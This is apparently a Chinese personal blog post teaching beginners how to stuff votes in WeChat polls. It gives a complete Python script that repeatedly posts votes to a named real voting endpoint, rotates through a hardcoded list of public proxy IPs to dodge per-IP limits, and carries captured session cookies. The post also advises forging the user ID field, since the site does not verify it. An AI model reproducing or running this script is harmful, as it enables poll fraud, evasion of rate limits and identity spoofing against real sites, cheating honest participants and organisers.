刷票入门

这篇文章真的有很多人看吗?帮忙留言一下。

在微信有很多的投票活动,一般这种投票活动都是可以靠“刷”增量的,而且你可以看到那些票数高到离谱但是并不好玩的投票活动,里面肯定是掺杂着刷票行为的,对于技术大神可能轻易就能搞定(12306他们都能搞定),对我这种小菜鸟还是花了不少时间问了不少人才有一点眉目的。

先说一下刷票的思路,为了模拟完整正确的投票行为,我们先用fiddler这种工具去抓取http包;然后我再把协议头放进postman这种工具帮我生成Python脚本代码,然后再在电脑上循环投票。

最后的代码大概是这种的:

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import requests
import time
import random

url = "http://wx.nxzhly.com/VoteBefore6/SubmitMyAttend"

payload = "hidOptionId=1427&hidMid=37&hidMaid=287&hidOpenId=og_EH1eOB17t0uO1Zk703WW2eIoo&lianheMarid=0&lianheMid=0&X-Requested-With=XMLHttpRequest"
headers = {
    'host': "wx.nxzhly.com",
    'connection': "keep-alive",
    'content-length': "135",
    'accept': "*/*",
    'origin': "http://wx.nxzhly.com",
    'x-requested-with': "XMLHttpRequest",
    'user-agent': "Mozilla/5.0 (Linux; Android 6.0.1; SM901 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043409 Safari/537.36 MicroMessenger/6.5.8.1060 NetType/WIFI Language/zh_CN",
    'content-type': "application/x-www-form-urlencoded; charset=UTF-8",
    'referer': "http://wx.nxzhly.com/VoteBefore6/Details?Id=1405&OpenId=og_EH1eOB17t0uO1Zk703WW2eIwo&lianheMid=0&lianheMarid=0&isappinstalled=2&from=timeline",
    'accept-encoding': "gzip, deflate",
    'accept-language': "zh-CN,en-US;q=0.8",
    'cookie': "ASP.NET_SessionId=zzssujuxzco2dkgzuwwuszhj; CookieNewsM37=openid=og_EH1eOB17t0uO1Zk703WW2eIwo&isappinstalled=0",
    'cache-control': "no-cache",
    'postman-token': "5bfcc670-6d24-7804-ebfd-4e8c906f1376"
    }

ip_list = [
    '35.162.238.140:3128',
    '101.231.46.34:8000',
    '192.210.198.149:1080',
    '212.219.197.249:8080',
    '119.226.14.46:80',
    '212.90.167.90:53281',
    '94.182.197.102:8081',
    '181.112.221.182:53281',
    '198.50.219.239:3128',
    '201.38.93.179:3128',
    '192.210.198.152:1080',
    '177.155.100.6:8080',
    '27.109.117.72:53281',
    '107.173.46.34:1080',
    '182.253.197.235:8080',
    '68.185.106.196:80',
    '107.173.46.42:1080',
    '14.215.115.197:3128',
    '58.83.218.186:80',
    '180.148.33.29:80',
    '189.85.25.150:53281',
    '112.225.117.207:8998',
    '5.196.68.47:3128',
    '183.62.71.242:3128',
    '176.126.245.23:3128',
    '200.137.226.3:3128',
    '216.100.88.229:8080',
    '144.217.197.71:8080',
    '46.10.229.152:53281',
    '208.92.94.143:1080'
    ]

random_num = random.randint( 0, len( ip_list ) - 1 )

proxies = {
    "http": ip_list[random_num],
    "https": ip_list[random_num]
}

i = 0

while True:
    i = i + 1
    print i
    if i % 3 == 0:
        random_num = random.randint( 0, len( ip_list ) - 1 )
        proxies = {
            "http": ip_list[random_num],
            "https": ip_list[random_num]
        }

    try:
        response = requests.request("POST", url, data=payload, headers=headers, proxies=proxies, timeout=10)
    except Exception as e:
        print 'error'
    else:
        print response.content
    finally:
        pass
    time.sleep(1)

其中有两个难点,一个是需要大量的代理IP,一个是不同的hidOpenId。

怎么解决代理IP的问题

使用阿布云,我没有用过,是朋友的推荐,他是数据分析大牛,肯定信得过。

怎么解决hidOpenId的问题

这个id值好像可以自己随意伪造,虽然是代表唯一的微信用户,但是投票网站并不能验证这个值的真伪。

欢迎留言和我一起探讨

参考链接

https://github.com/debugtalk/VoteRobot

我要分享

曾小乱

作者: 曾小乱

喜欢写点有意思的东西

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据